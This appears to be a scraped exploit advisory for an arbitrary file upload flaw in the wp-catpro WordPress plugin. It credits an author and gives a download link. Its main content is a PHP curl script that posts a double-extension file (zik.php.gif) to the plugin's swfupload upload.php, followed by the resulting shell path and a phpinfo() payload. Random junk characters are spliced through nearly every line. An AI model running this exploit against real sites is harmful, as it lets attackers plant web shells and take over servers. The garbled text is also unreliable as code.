Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability. g! u( F4 A) Z- ^" ?$ Y
#-----------------------------------------------------------------------
) n" ?0 B. w- N2 n' B5 v 9 \% V+ P% I7 ^$ ~2 h/ h# x
作者 => Zikou-16
, _5 _5 n6 W/ K( l) @/ I1 C邮箱 => zikou16x@gmail.com
( F& J1 A0 w8 D4 \ h% `测试系统 : Windows 7 , Backtrack 5r3( h$ \! H l' O4 c, ?
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip1 |' x2 w; s6 H; {0 U
####
. f& d1 V% \, F W5 ]
7 P I! b6 g9 f# t#=> Exploit 信息:
2 q- L$ e. k, D------------------
7 K# L# u$ V0 ]+ M# 攻击者可以上传 file/shell.php.gif
6 T# V* }% M/ N, Q; ?3 |4 r# ("jpg", "gif", "png") // Allowed file extensions/ s' `4 b3 L/ K/ F. e) S$ C1 n1 p
# "/uploads/"; // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
* d5 \- i* `% H1 j8 o7 m# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)1 T. Q! m" c3 q
------------------
4 z- X% M5 }* ~7 l* _ % Y5 P% S& w3 p4 m e. V
#=> Exploit
/ f/ }/ `. t0 B* p4 y: H-----------
; [ M. R# Q5 g4 R) r<?php, T6 ?0 A1 u1 Z1 W# m* J/ ^7 t
+ i+ I. u& H5 O* |5 G3 w$uploadfile="zik.php.gif";, F' U4 y+ y, f8 ]# m {1 l
$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
0 p; P. D3 Q6 \* d9 L8 Wcurl_setopt($ch, CURLOPT_POST, true);5 ^) z/ e" s3 L* I* K/ ^
curl_setopt($ch, CURLOPT_POSTFIELDS,
+ c7 ?" N9 g& h2 d* J" i* |array('Filedata'=>"@$uploadfile",5 i7 F; L9 B! q7 b
'folder'=>'/wp-content/uploads/catpro/'));
5 U4 J/ ~ v! J% Rcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
/ ?& s2 }& P; W. k) z: A* }$postResult = curl_exec($ch);/ a" `5 |$ v0 M5 u8 F. q7 h
curl_close($ch);
% v: r. K& d$ z$ g
( h4 k2 R& \) |print "$postResult";" r8 I4 ^8 u7 b. s5 ?9 n5 Z4 j% o4 |4 X
9 R; U+ R4 C [" l9 }
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif* J% o1 \4 m' r4 z7 z
?>
. h$ ], K& j4 c<?php7 A6 D* v$ Q7 c+ y5 g/ O; \
phpinfo();
4 L$ q0 M) |+ S3 y7 x?> |